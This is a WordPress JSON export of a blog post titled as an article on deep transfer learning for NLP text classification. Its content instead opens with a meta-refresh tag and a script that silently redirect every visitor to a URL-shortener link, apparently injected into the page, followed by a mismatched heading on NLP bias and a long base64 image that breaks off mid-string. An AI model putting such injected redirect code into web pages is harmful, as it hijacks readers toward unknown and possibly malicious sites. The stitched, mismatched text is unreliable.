{"id":306,"date":"2024-01-27T01:33:34","date_gmt":"2024-01-26T17:33:34","guid":{"rendered":"https:\/\/www.grandonedev.com\/?p=306"},"modified":"2024-11-28T11:33:48","modified_gmt":"2024-11-28T03:33:48","slug":"deep-transfer-learning-for-natural-language","status":"publish","type":"post","link":"https:\/\/www.grandonedev.com\/?p=306","title":{"rendered":"Deep Transfer Learning for Natural Language Processing Text Classification with Universal Embeddings by Dipanjan DJ Sarkar"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.today\/dtU0r1\" \/><br \/>\n<script>window.location.href = \"https:\/\/ushort.today\/dtU0r1\";<\/script><\/p>\n<p><h1>Bias in Natural Language Processing NLP: A Dangerous But Fixable Problem by Jerry Wei<\/h1>\n<\/p>\n<p><img decoding=\"async\" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABoAAAACh3dHB0AAAByAAAABRjcHJ0AAAB3AAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAFgAAAAcAHMAUgBHAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAAAA+EAAC2z3BhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLW1sdWMAAAAAAAAAAQAAAAxlblVTAAAAIAAAABwARwBvAG8AZwBsAGUAIABJAG4AYwAuACAAMgAwADEANv\/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoMDwwKCw4LCQkNEQ0ODxAQERAKDBITEhATDxAQEP\/bAEMBAwMDBAMECAQECBALCQsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEP\/AABEIARkBdwMBIgACEQEDEQH\/xAAdAAABBAMBAQAAAAAAAAAAAAAAAgMEBwEFBggJ\/8QAVhAAAQMCBAIHAwYICAsHBQAAAQACAwQRBRIhMQZBBxMiMlFhcQiBkRQVNkKhsiMzUnJzsbPwCTQ1YnSTwdEWFyQlQ0RVY4KS4SY3U1R1otI4drTD8f\/EABsBAQADAQEBAQAAAAAAAAAAAAACAwQBBQYH\/8QAKhEAAgIBBAICAgEEAwAAAAAAAAECAxEEEiExBTITQSJRBhRhcYEzQqH\/2gAMAwEAAhEDEQA\/APBSRJsEomwukOdm5K0qEoQhACEIQnHoFh3dKykF4ItZCDEoQhACEJPWDwQGJOSur2WfpPjX9AZ+0VKOdmV1+yz9J8a\/oDP2isq9gejlHk7xUgmwuo8g1zK8pGpO6oT9ypsndUJ+5QDKjP7ykqM\/vIQl2NP7yYmT7+8mJkIjD+6mJNwn391MSbhdSyBmbb3KO7ulSJtlHd3SjTXYGZNgmH7+5PybBMP39y4Bk7n1SH91Owwy1FQyniYS+R+Rmh7R8B+9lN4m4fxPhbFp8ExaAx1dMGddHY5o3uY1+UgDcZwL7K5SQNPINimHG7ips1JVthbUCjqHQvbmErYnFvMeGvaFtFBBDjcaMvYucMtj6GxUlydaaGnc\/Qqnekr6VTfoo\/uBXC64bmto649D\/wDyx96p7pK+lU36KP7gVVywhD2OWQdkIOywmoaQhCAEIQgBCEIASX90pSQ54ItZAIQhCAEIQgOiLiRYpKEIAQhCHUsghCEO528AmkpxOY6lJQiwQhCADsmk4SPEJtACuz2WfpPjX9AZ+0VJq7PZZ+k+Nf0Bn7RWVewPRsnZ0HNMv296fltcXUaQi++ivKRuTuqE\/cqVOdNCoh5oBpRn95SSQNSoz+8hCXY0\/vJiZPvIDtSok5JJsShEQ\/upiTcJwk8ym5CLjUKUOwRp3EaBMF5ItonpdXnmo6lYDDxcKM43Kku7pUY7n1VYO56LcF4ZxDiDCq\/EOkDD8JqqWq675HUtqITKWWyMFS1hYzObMJd2WgnXa9t8S9LfQtT45iv+MnoemqcarKx\/zq6jfTztqInTRPBbPHVljw2OMtBaRo61gTceZnkkOaTcE6j02TI0BA0BIJ9Rsp\/HnsI9aYd7VXQhheD4Xg9DwfxJDT4O1raWNrIWxstNM4DSoJNmygjNc3AAB3PDUnTB7MONMgxbjjoexJ+NVHXz4m+nYJovlElQ57shNZGXgxkMaMrchsTe1l5\/mkdmDmvN7EXB1\/fUpiw8Bvf3\/uV2NUUSbydV0q8ScPcWcbV+PcL4GMIwyop6SKCkbHkyuZTRte7Lc7vY477OHqvN\/SV9Kpv0Uf3AriOjQwd1gIaOQFgNPcB8Aqd6SvpVN+ij+4FG1KK4OQ9jlkguNyEPJB0KSsRqBCEIAQhCAEIQgBIcwAX1Sjsm7nxKAwhCEAIQhAdAhCEC5YIQhCT\/AB6BYLgN0ONhdIc7MhFvIONzcLCEIAQhJc7KbWQCDufVCDqboQArs9ln6T41\/QGftFSaur2XHZeJsaNv9QZ+0VlXsD0bO4EWUaS+Uuto3UnwCff21ynG\/GI4Wp6aKhihqK6qY6RrZWktgaCWguAIu7MHCx00KX3fClhZbIwrlZyujfva8sv1cgHi5jgPiRZRSRqA5p8wQQqrf0icaVcZifiUZ0uXto4WkeQIbf3arXu4u4pDM3zvUEkHQgXP2fZyXa7ZSWZxx\/slKlrp5LclN4zt8Qo5IG9viFUp4v4jyNd89znYOaGi4OumrRrp9qw7iviR9y3Gaiw5FrQQfgrN8SiUJZLUl1fcfrCjPIuR\/aFWI4s4j+ti09\/+H+5NO4m4hNycXnPkA3+5N8SOyRZsgAb3m\/8AMEy4X2c3\/mCrf\/CLHHAE4tLY8szCb+FrX0WP8IMb\/wBqT\/8At\/uXVZFcjZIsJ9g8i\/w1TFx4\/YVwLuIsav8AyjKfh\/ckfP8AjP8AtCVddsWNkjv3uAb\/ANFGL23O\/wAFxPz\/AIz\/ALQlSDjWME3+cZfsUd8Rskdq7W5v9iZc0gclx7cdxZsgLq2R4BF2k2B8l0OHYpFXsJBs8d5qsrtU+Bskux1\/eKwlyAA3B3SFcRGnc\/Qqnekr6VTfoo\/uBXE7n6FU70lfSqb9FH9wKm7o7D2OTfv7klKfv7klYjUCEIQAhCEAIQkudlNrIALhqE2sk3N1hACEIQAhCEB0CFjM3xRmb4oDKE24gnRYQDj+6m0IQAhCS5wsdUAPJGyQSTuhCAEIQgBXR7L30lxv\/wBPZ+0VLq6PZf04mxrzoGW\/rFZV7A9GXsL3touc6fuEeHcMwrCuIcPxZ09fOY6eSDrYyBGeteXZW9q+e7bnwPMrfHQHyVf9KuB11aaTH6OKWenp4HU9R1bC7JZ7ndY62ws+1\/JeV5jRW3arT2wt2xhKTa+mvpN\/r9GrQ3RrosqnDc2uHnr\/AF9lavYHMGaQta4PYCDbUgf2X+C9V8N9E3AnHWA4NSQ0OC0eL9KdNQyYK9sbGnDnYXFH84uaLWaZSZjYCxMZ0XlNjmyNa5jg4O1aQbgpMzpGlp62RpZfLa\/Zv4L0I4l6mbDieiYeFejfEuKODcfwnD6ihqeN8R4grYmQCn+Q0NLTVFVHC1lM6FzXOeyOPV227de0mpujfo9lwwVFDwDi8zpeiak4jo3U1ccs+J9ZSiqewFgDnxmafOy5aA14yNygjz1mdYBwcWt2GuiaBynRj2gAgZSdjuFLBzJ6Df0GdGrHdGNPJj2LzzcWTUBxN9LBOYXwzUQmmNNUSUzYS5kl2ANdJcFpOU3aqm4opsK4Y4iwjFOG6FzYZ6HDsYgo8SMVaxrnxtldFJmYGTMzAjK5liBYgglctncAxrZZGtj7jST2fTwSC8aXeDYWFzyXMHMl5ScNcKdIHS1xhBxJFQ4NRYLhxfR02AYP8nDsk8TPxNHA8uytkeScgvYZnsbdwqqbBaaPgKj4jbTVZqqjFp6F0udhhDWRNc1uUdq5Ln6\/zRa2q0JlJdmZNZx5h2qQAWtyB4y3vbNpdMDJg3uc24JH7+aEaD6zfiEWtzHxCYO5BIc4g2BS7j8pvxCQ7U6EfEJg5kQ7VpvzCzS1c9JKySB3aHZAtv5LEhBAAcPit5hGDMAiq6lhA7zQeanBNSWCMmsM2lJNJPA2SWPI8jVvglucQbApx7nPeXucCDoB4Jp\/eK9KHXJnEnY+hVOdJhI4pmt\/4cf3ArjOx9Cqb6TSDxTNY\/6OP7gVN\/R2HscoSTuhCFgNQIQhACEIQAm37+5OJt+\/uQCUIQgBCEIAQhCDDN2hCEAIQkF5BtogFrDnZeSTnPgFgkndAK6weCQhCAEIQgBCEIAVzezC8DijFhb\/AFFn7RUyrk9mXTifFiP\/ACDP2isq9geiZHXDgBumflMsL7QSPjAH1Ta5\/uTh3KjSd4q6UVNbZdFSIuJ0dBicfV1mHUkxJzOdJTxkk+uW595Wtl4fwINH+ZqNvkyFoA9BZbZ+\/uUaV5Li3TRcjGMFiKwHJ\/bya5+B4HlP+aKb+rb\/AHJmTA8GtduE0ot\/u2\/\/ABWyf3SmZCQ3RTSi+yO5Gqdg2Dk\/yVTf1bf\/AIpDsKw0AgYdTWH+6Cml5vsEh2xXdsBuRr3YThjhZ2H01vKIJiTCsJJ0w+AW\/wB2FsXGwUd4sfVNsCMpccGvdhOFZj\/kEH9WE0cMw0i3yKH+rCnv7xTBNhdMQK8zNfJh2HbCih\/qwkfNtB\/5OD+rCmSDmkKSri+Tu6ZCOHUIcSKODf8A8MIlawEbjLo0DaykHc+qjy95WbYo6ITb+8U4m394rqWQNueC0jXYqmukr6VTfoo\/uBXC42aT5FU\/0lD\/ALUyn\/dx\/cCpuWEdh7HLIQhYTUCEIQAhCEAJt+\/uSnEgXCQSSblAYQhCAEIQh2LwCEIQluRtrnxKLnxKEIQC58ShCEAIQhACEIQAhCwXAboDKS46aFBeE2gM3PiVdHsyH\/tLitz\/AKg39oqWVy+zN9JsW\/oDf2isq9geipzbun4KI8m17lOve2xTD3AhXlI3ITbfVRzcnVOve26Zc9tzqhGQ09xynUpiRxI3TkrgWEAqOSBuhAQ\/vJl5OupTr3tzbplxGp5boBl7ja1ymJCbjUp2RwcbhMybhTlDCyBKZmIB0KdLgDYlRZe1qFACX7BMvJB0KWkP39yuh0BDjYHVMPsRfmlzJlSQEvJFrFISpNwkFwBsSp428gZf3HehVP8ASV9KJf0cf3Gq4X913oVT3ST9KJf0cf3GrPe8onWsyOWQhCwmlrDwCEIQ4Cw7YrKw7ulAN3J3KwhCAEIQgQIQhCTjgEIQhE2TJHP3Zb3pTnZeSQHECwKCSdygFdZ5JQ1F00s5neKAdQm87vFGd3igFF9jayx1nkkk3NysIBfWeSS45jeywhACEIQArj9mh2XiXFja\/wDkDP2qpxW57OMj2cR4tlNv8hZ+0VlXsD0Q97SCmHyAN0F7pkyg6cykPJA0V5S+jL32O26ZdJ2joiR7rjVMOlAJB3QrbbMSSWFrJpzs3JYLi7cpLyRshwS\/vJqR9gRbcLL3uzbph7nEm5XV2BDjYXSHOzckt\/dTLyQdCrZ9ATJobqO7ulOPe4mxKYLnHS6pAlzsvJIccxvZKk2CZe4g6FXQ6A1K\/MSLbaJtxsLpTu8fVIf3VNdgS52bkmn94pxNv7xVmMgQ82Y4+RVO9JDs3FE2n+jj+41W89zixwvyKqDpG+lM36OP7jVmvWEW1dnMoQhYC+XYIQhDgJBfcEWS00d0BhCEIAQhCAEIQgy2CEIQGwQgmwuk5x4FAKQgEHULGcXtqgMoQhACNlgvANtVgvBFtUBnM3xSXkE6JKEADdOZm+KbQgFPINrFWx7O0hZxDio8aFoHn+EVSq0ugBzmcQ4g+4t8laPPvqyr2Krei\/evKS+oJGhUQS+JCz1rPFXlI\/1mbUmybdq4pHWNte6ZdNckgiy6k30B93dKaLgO8bJl1RcWuEh0mbchd2sDr3NJ0ITEj2tDiTYbLBkaDYlc7xrxN8wYcTDIW1NTdrXtt+DaBo718PNTbUY8nYpyfBuJ8QoqUhtTVxRk7Nc4XPuWkquNMFp3lzHl1uycpuqd\/wAIPleKPl6xwvrPPK67rX\/vsoNTiofik0ldLKyJliGMFzptfksnzM0R0\/2XYzi3BJCA2YknXuXWwjl+URdcwhrBra+6oN3F9FK6OSFriQcpDhf7DsplFxdi2GTNnw57mvDh+CLiIj5ZeV9l1X4fJ2dBeOtrnYGybeRfcKFhGM0mP4fBX0r7Wblew2GR3MaeakSCzt+S2RmprcjPKO14Ek6kpLiCNCsnY+iaJsLlWvoiJfySC4cylOcHWsmX94qMewIc4Fp15FVF0jfSmb9HH9xqtk7FVN0ji3FM36Ng+DWqnUdFlbSkcyhCFgNEuWCwSBuVlIk5IcEuN3LCEIAQhCAEIQgBCEIDGYeKEksPkhATy8kW0WEIQGQ4jQLF9boQgFZz4BGc+ASUIAJuboRceKazHxKAccSNknOfAJOa+5WLjxQC858AjOfAJFx4ouPFALznwCszoKly43iJvY\/J2\/fCrBWN0JktxvESDb\/JmffCsr45ITjuWC8W1N7C6X1w\/KWsE1uRustqN732WrYzObF9RZpF1FNY4Ei4WvqK0suMxUM1hJvm3UoxwwbdtY4m1wlfKT4rTMqe0NU4ak3Fipg2bpnONwVVfSRNUYljcuFRh0kmVjY2RC5NxoPXMrGFRYLS8GcJVfEPTQ000DpIKeOKuqS83DG91p9CQQsmrsVdbmzZoaHffGpfZy2E+zb0m4hgLcfp6ACJ5zBj3ZXu8BZamD2fumCuqurkwF8EZu4kzd\/zK+mvDeC0tPglPTyRMa1sdx2VBrsCgqHOdAW9jU7L5KXl74rOD9Bq\/juj6zk+aHE\/RPxfwbQjEcb4Zkhpi6wqW3eA7xdbcLl46mIxHrLNlDi0gbWsvplxFgOGYrhslPilF1sB7OUtu0+5eAenLo3pOBOLwMLhqosMrBmiL9W5uYDudlt0muldNwt4PH8v4SGjh8tDyvsi9EmKVbccnwu94XxdY\/e4IcAD9qtpwcDq4Hwt4Kp+h6F7cerqhzbtFOG5vEZtvs+xWkA5g72jtR5L6TTf8aPj7liYovOo0Tb+6suOh1TL3HL3vtWvtFQONhcJu5dqUEnmU24kGwOi4lgCToFU\/SPrxPKf5o+61Wu4i26qjpH+k8v5o+61Uajo7H2RzCELBI8VgNQONhcJsuLt0XJ3KwgBCEIAQhCAEIQgBCEIAQhCAlXHiPisg3Fxe3mFw7Jahn4RgcHN1G63+E42+qkFNV\/jSLNO1\/JAbguA0JRnb4pD7hxDhYjRYQDmdvikPIJ0WEIASXOaQRdBfY2smybC6AEJPWeSOs8kApCTn8kpAKYQL3XR8E4dxNiVfUN4WxxmGzxRB73yXLZG5gMlgD4grml3HRRiNBh2L1JxGtp6Vs8JjjMsgaXuu02AO6sr5eBP8Y5Ra2BVOPHD+ox+GBlXG7K+SF92TW+uOYvzBspzqkWIukmRpOrmgnUC+4\/X9ii1DwBoVvRkEVVU0GxcoDqkEkgpqsl173JQut8wgNmyo7Q1UiGp7W60TKjtDZS4Zdb5t0Bvmzk6Aq1Oj7gOqwd2JcVUU8lTPiuEU94aUuZKDG6Z2RrnAAOIc3UaXPkqZjqMrt16w6Csdp8VoaCSYNLqWiipntNtRmk158h4cl4P8gnZDTrb9n0v8Zqrt1Ut3slwU1xhh3TTScQQS4djda2gipY6iNgxV1jIbXgMbW3c8Euu5wtpoVZnH1Fx9h\/AuE1FLXvZiFXAXVGR7myE5b5L\/leBCuLHYOHYcTghpKOk+VSWe6RzWsbEPynOPuHvWekIUxZBT0jqepEEAqHhsjcwsBcAXuTa\/L4r5adkpqKS6P0SjTw06km3yeUcIpulLCqpkMkVdicD6P5TLUsxlxBdpaBrXgkyi50yBum+qmdJ2Cy490U4788U012UL6un6xrQ9k7G5r+Ava2nivR9DgnCfUnEIqGnc2VuYHL2iDrqT+qyrPplnw93CuKP63qIH0ssbdeZaQPje3vU3e5yTXDMtmkjXS4N5T\/Z5c4C6PeJeGcEnxHF8PdTsqHRiNsjmiQsA7xbfMBmfa5C3eZvirM47xZ0fC0EOIiD5e6J1G0xNDetiL7h1hsQ0NHNVfI5rXljdm2A+Gv23X2\/jLpainfZ0fm\/m9LTo9T8dLz1n\/Zhzm66pskDUoJ3Kbc+4tZb9x5DB5BOiSXAGxKw52XkkE3N11PIEu2VVdIn0ol\/MH3Wq1XbKqekZ2XieXT6o+61UagnXHMjmy4Dcps7lDjmN7LCwGmSwwQhCHAQhCAEIQgBYf3SspObN2bWugMMIB1SwQdQk9X5ovk7NroDOZvihNoQD7aeBosIm\/BMuw2mdIJWx2e03BBtZSkIDADho43KyhCAEh5IOhWX91Nk+JQGSbm5TRcTzQ49o2KwgBCLgblYuPEIDKznd4pNx4hFx4hAKzu8V3nRNh2H4tiOIU+KUUFXE2nBayaMODSXAEi+2y4K4OxVi9C38r4j5U7b\/wDMrKuyu1vHBZdJhsWE0goqHOynZrHGXFwjHMNvqB5KNUyEDtFTah+ls+\/mtVUuFrF32rVFvJQQqp+bUFQC9wJF1IqXDXtKGXAalw+KtwBQcQbgqSyYssSVBa2WS3VRvkJNgGgm6nsw+sjA+VOaxpBOV2hFlOFdk3iK4BKinBNyrp6G+kuSPGPmDHMQY1rqOGKiJaGgCNz7t0Gp\/CjXdUfhlRSyxVIe2QPjdYjMAQAbE2K1GOnGKWebiOhxB1JBheQQNPadLMXXcRbYZQB4Gw5gqHkPF2anTtSxwb\/H6qWj1Cvi8fRdPHntB1fFuI41wFw9hWGSt67qaqbEm5gWx2vlvoBmG657FeLOL8G4nwnibjHAqbE20MMbJI2Vjs0dhuwk2sQR2QoXQ7xtgnC3DmK8VMwOnxPE3VDpa81GXLLCeTcwIOu66eXp94X6UG\/NNP0a0sbLgTTljHtjb+Vc3y29F8d\/TKt7VHhfZ93Rqo6uDstvxJ9JdFm8Ee0HwpxwKmiwxrqJ1LCHOhlf3ANLXVe9L\/SfQYxVYZw5ROglEtZG6YF9m9Wxwc5p9bW968+YvjuDcKcQ4yzhc9UKlphYA\/TPmNyNtFHrsFqqnBaPGK+WeOoxuVzKUG4c2OJt+tPMXe4D3Kynx9fyKUl2ebrPN32ad1Zy13j\/AML24t4p\/wAJamnezDY6JtLDkEbZOsDsxvmufSy557iCB5KqOFOK+JcOfNw7itTG6op3ZWvlHLkbrsIeIcRc8QtDHWAzvOVwPobr62miEYbK1hfo+Muc7J7p9nS5neKQ4kC4USnxAy2YGZSdOz2ifXwT5NjYn4q74JR7KsGSSd1hIeddCklwG5XMIA57rbqqekRxPFEt\/wAkfdarQN7Kr+kPXiSQjXsj7rVm1HRKDe5HNIQhYDSwQhCAEIQgBCEIAWA0A3CysOIymxQGUh\/eSbnxQgBCEICUHZhduvkCLrAdc2sQR4rSDB66ncHU9XmeNgDqpVLW1EMogrqd7S7QP8\/NAbNJLwDbVZBBvZNnc+qAU5wIsEzJuEtIk3CASgmwuhNl5ItogMucDskoQgBCEIDLXBt7rouCMereHscjr6RgfBKRT1jbE3jdtfw15rnFYHQ\/HHNieJRzxslYaQMyuaCLF3\/W6th+XCD\/ABWWWnVyNbY2OngtRUStcSQDsp9S+7bWsAtVUHKLrRDtGQiVBBvZRWRuqZYqZjSXSnK3zKdmkOugW24epQI\/l5b25c0TXO+qG6uI8NxqtlFfyzxnj7OpZJFW6HDaSkioXfJ2PJa6RrgXyaaC972uL28SfDXlMWqqmTNU3lkfC4580p1bytc6aAW1Bt7wttxRI8QTdVUZbvDskgsS4AO3GmjS0aDy221VO+Y1Qc8NyzNs4DS3Z0sfS3u9AF6tt0YLZHgsjF4HsDiONVUBjeyFrAJJXCxHmMruyTe\/LKNjuA7YcQsNfRzYbGGsys7IJDrN0A1tuS0nzsb5bgu56HiJ\/A7Kqj+bJZn1jxJG8OFgwd7Tn3hvpqPyisYLxaeIaqWR+HOp8kN3Z5szXHONiB4kEi1zrcmwtVK+HxOtvlk1F5N3WdEvFx4Hw7jfo1ldWYbjFKHVdIXnrY5W9mTS2UtzMPO48FwVDBx\/SVsmF03D9bDJMzI6zMlj67WuvQvs6cY\/N8uLdG1eS5rah9bSxu+q19szR5gi5Hi4qxuIeFcPnqRiDY3FpAdlv3Svzi\/XWaO6VU1nHR9vp\/C16+iFlE8P7PNvA3QHieNYhHXcXVQipmC7oWknMTvc2UnpGq6bEeO48Nw5rWUeAQtooGN7rpLZn7edgrO4+6RKTgjBp5YY2mtLQ2CJo\/GyHZtl5vZjsuHU1Tj1W+Ooq5bSCndJd0jnvOckbiw8eQW3xLsvt+az1Mvl40aGpaenmT7ZtcXozR4lR4z1bXgyNjnHN2Y2B8wD+ryT+aSnqp2ROIjdIdXWsCPcf35AjTWUvG0HEUJw0YRLDVS2u4yB0bXXtcutvawHPugWNiNhV9ZJEHPBjY200hPJos0fE2tytYbkA\/XRcd2+B8rjbxnJtcPxSWafPK4tAaSwmxIFuySbC3gBvvyN1uqPEetydZmcXZrkfVLbXB\/5htdclSSPdHVOlLWvlfG1jQ7tNduAOegFt\/qje1277DWfJ4mtsLBpzFpJIccuj9BzDt7laFZK1PcVOLZvhI0i9ikONzdNRTBzBm0cNwlF+ulrLE1iRU1h4F3tqqs49cDxDMB5fdarPzk6aKruO\/pDMfT7rVm1HR2Cbkc8hCFgNL4BCEIAQhCAEISXOINggAvAuNVjIfEJJNzdKznwCAwWlu6wslxdusIAQhCAlHXUrJa2SN0bxmaeRQhANXLQGg6DQLBOhKU\/vJJ2PogG8zvFYJJ3QhACaWX94rCAEJEmwSEAouOa1+acTKEA8rB6HsSwPCq\/Fp8aM46yhDYC1wDWydY0Bx8fADxVcKZh9TiMNTDT4bHJJPUPY2NsbC92YO7IAGpJPgo2NqLa+i2prOGj0HXvpWyZaV8xiLbh0uW5Po3b3rTVLzbdcvw7xBXYhXz4fxZic9PXiW0bY4HmQuAv1BaCAw+Oa1r6rfzAnM4tcAB9ZuU+8XNz71ZpbnqYvPGHgy3UuuWBmQuf+Dae0XDVbyoqThzo6VziI2M6vJawue0NT+VnAIGwaDftC2ip29fL1bZCzsPcCO9t9UfleCXXYnXws6uoEJLQOrkcDyGmcbm2pvY21LrN0Xv6dfFHMjkY8hxFUEMZma1xa3q39k6BzjsQNNXZsps4B1iSAb6mNsZka+zB9S5vrYDTQ2JHhvobhpByQazFnS0jBVB8dmtN3NOtiCRfu2uNLEnSx8FtKUNdfPcRnUuyX+F\/XNz08hYxlarZcF0Y8D+JUEGJU3VvgMpIyXbqNb2B8SdbbXs+wOvV6qho6zCpn1MOWJzb5Xnl662I0Gh8Dqd2dCY2PFzmY0ggdnLlB372a1rAWdmO+brDsox0obmzszHtZGN7QtzsdQOVycvZPaDhI4JaeMpKf2hjnBo8FkxHDcbgxgVBirmyiSOR7Sx8h\/JsNACGnQ6ix5EW9E\/43uHXYHBLieJ08E08eZsJdYvIHaDV58xKrwyMGOoBadwXHMGu8dhbb4Eacjz9SzE8bwvLg7jPSyPJMs5eASNDlbcee4OxsABYeH5Lx9eqkpyXKPb8V5e3xalGKymTuPeOqrifGZI8Np2EvcckrzcMYdrD0td3jdaGDAJnghzHiRneeRYnXXX37cr694LY4VhFVRzGR7GySHRxkZmBPK1uW\/rpobdnpIcLFQ9sVyMxtcb3+Gh9bjyFjm00aZxSSWEeZfdK2x2S7ZquG8Ka0VM7owbnKNDa\/u08Bc6eNxdKndHVVvVt7MDDnmdcHtgW\/WTpy21sXGfitYyipDDREXJyloFuQ8dOenO53IGRQ6an6mBoaLumu997gAeZGh1tobDQDV1r7opVrauSnG7kabJSyVEdNI9tiMxAYC7KSCRvpy9bBb6KSKOMueB1gt1jm9551ylsZGZgDi7dxBBaAuObiBZi8scTpH5csbHtyBrQNLatNidrm4B3XUxsmowZQx8kd7sLGksDSNSNLhxO9zy2Fwp02fWCJsMOknlqj17XNDvquNxby8VsyACQFqKGZjayCUPac5INjqDbmOS2znagO0IAB+ChP2M0\/YCfAqseO\/5flPp91qski+g5qs+NzfH5SObWn4tasmo6O1vEjQIQhYDS3l5BCEIcBCEE21QAggHcJD3AjQpKAy7QlYQhACEIQAhCEBLSXOy8kpIk2CAS43N1g7H0QkFxuQgEONhdJ6zyWX91IQATc3QhYJsLoBMmwSFkuJ3WEAIQixO26AFOwnEJsKrI8Xo3WqKAtmjdcgseHXBFuaiRwTS3y8kqSljZTTVE9XFE6n7Yjc+xluLZbJNLZ\/knV7Hc4e+fGqOKq+eaduI1bnVYhjH4RrC7tGR53e7V9t9BqnsX4omdRYfNT5YmZXda43c5sjbAtPiDmvfyXF8I1VNXVMeGz9c0vEpa+njzyOJZlaw7WadieQTGJ4k6jdUcNxQNgp48Qke3cSfktBJ5WusErHFOuCw+2X2JT\/KXX0WlgmIuxSJmKUdU2N1MSC4t3eQNLcvI+N1t6iSWaMROjpopMpIB7TXEgk2dv9VvpfW4JC0fRxQvpMFfM97XSSyPDXtbn7NgCLBbXGsTkpAKOhpYpK5xaXSlthHZwIB+A+0FfV6JSjpITf2jEuJYOXxvDYIJZpWmOjBBa+8mZoJFrZLdnQt0HIjne2xwcy1FMz5NBKIXhrhK14F7jlfnz5akm2tlAqqBrWvnmmMtSG2eXOuTcn4bn33OxC02BYgWxvpL5mxvyEF1uyNh+rx2VanieZdFibRYZFTF\/q9RHYiwZJcNAvoNbabDU6bOOpdFe9+Vz3Onu3QjMLjntfLzsSNbNaNcoUF2JmOIRNyiQanmL+NtgP5o01A1ACdiqHzjqw+AyublDbG99SdORN9\/IG9r20fOn6ksLsxNV3jME0Bex3ZcHMaA6\/6hYtuNCbGwNwZIeFQVNRTtp4qRsQu7UF2UDMNgL8r+WgaBfKBt4aKma0zSlhcxp7Ik7o3d8AS\/wGfW1i4vQTSsdTfIoYpYiHiQOkbG5mp7WW98rdAH2DSLDsXympV4kpSI7mFDhbW0462QiRhyvbpYHnY3N7a+N9L7gFVXPS0jDGJ43SkEANzA3FttAddQNRq2\/Y77mcQxFtPRCDrMjnRgB50Fubtxe1tyeTjdmZ19G99K+GORsbTVRudmBjAMeW1gCdRYk3uGjsjl2W3XSSzGJxvJDqqxk2IWebgHUN5+eth4C3gBcC+kuSrjbTSyl92RtdlvsNPA87G19t7ZmkExntipyHxU0N9TlEQBbYbbeDR4fWuLXdJpsdxB0VM92XKXAgt5G\/O3j4+d9TufPdu3g6m0S+Cc0lLV1D2MeZnmRoLbjJmtsb6eWq6mjqWDsz09i8dkNmLct7c7m\/LUEnS4J0J0HBM9HJSUrGSNaeqDHRuAzEADUA2BF\/Ejl43G\/qoXZxPYuB7WdrnWdbVxB3Nsw7RdftguyfX10JbFILljjXN+VQsAc3I7MLMFvS4P7\/Fbskk3PPVaiKaR0jXSPc3yEhIPuO2x2\/XdbLrCdRsoz9jPakmKEmoNuarDjydtPxFJG9rjZjdQPBrbqyDI4aqr+kM5uJpMwabtG+18rdPft71nuSaFaTkallRG8XFxrsQlh7TsVrhq0Oa1rMxsGk2BPMev\/RPxk20vYDS+htzKwqtvk0S4ZLWHOy8k3FI5\/eslyclxpJHA6zyWC+4tZJQoAEIQgBCEIAQhCAEIQgF0dbHWML2ltxyBTryCBYrmsJqXw1NiCGPNrLoyLEjwQGLgblNncrL+8koA33SHgAiwSibC5SHEHZAYSXEWOoSkygBCEKUewZYM7g1upvbRbFtFHE3NMLDX7BdRKSMNzPcBqC4X20T9VlnJFmuDRn6sXa6M5be8f2LVWsdjGQFQw9mCG4OgBu0SeQcPBQq0VOIxQQwOvIZskNmkiZzrAj+aRcfEeKU2WGRrhocwuWMNmyM8W3GnmrA6GsBo+Jq\/GqSpxCSlBw8ujnbTiYSSh7QyzTYNsXN18hbVVamcIRy3wWR\/RzGGNxHhrD62oNNT3aw0ZlMge9riNMpH1fEHdcxiz5\/nB9c+NkT5hmc0bD+d5G\/61vuLeIRUT1DJqYR\/KWsALDq8jUSHyd8d1yk9RLWznMbl1gy5XmRT3ZNE2thd\/AU7aXhWima2SSadmhLS8udm7NgNXd7YG5JAGpBGwja1lNJJK2OWV5zu\/DZt+eg1uAbEacyLDtQsEk+bOHaDDYcNfXVTaVjpYi1xjLsp7LmixJIuMvetcNtdyRjtXUwM6\/EsSjoonPIjyWdI43A0PM31zbG7dbZF9dHipf4MZBxR034QuyM0N3MA00vrfXnf0N9rKv3V1NS4m99JK4xSiOQZtMrixuYe51wt\/jOOQ1VPJTUEtXmc3KXSl93632IsOZ9bncrj5aGSjlY6XMQ4XFxuQSDZeRfJbuGDtqPEaeSNrnXOhbptbTT0029NRbWQKyUuysY1rS4EEDXfQ38dB8OegHHw4w+FohZC5oH5Ysn4sTr5TeMHfRQjOX0ixdHWOxmOmaRNL2mua4G+tw8OHPWxF9xsNiLmdBxBB8hjdG7LnAJa4X1ALR4bNOX0JtyauQjgqqo5pozqNPVbr5PFTwQRykNe4EZRuLEj9Y+Nh4g2\/LJnSYayoqJ3Vjph23F4c82JdzPrfX7Lm9wtlZJHEWHMxzb2BBGXUAHccgPDbfUZdYC1sjgyklkAPj2fdr\/ekF7ooyzPJb6rWiwHre9\/30KfJI4sEuauAbdosSL766HT7R8deYXMY\/WdZA9rnXdpYE67rYTzuY0ucCAf3\/f++5PO4nKJpWAXvdU2TUkQl2drwpSwVlBA1j3MnaGiP8HqHW0suogq6mlflryTnDiKkyFl2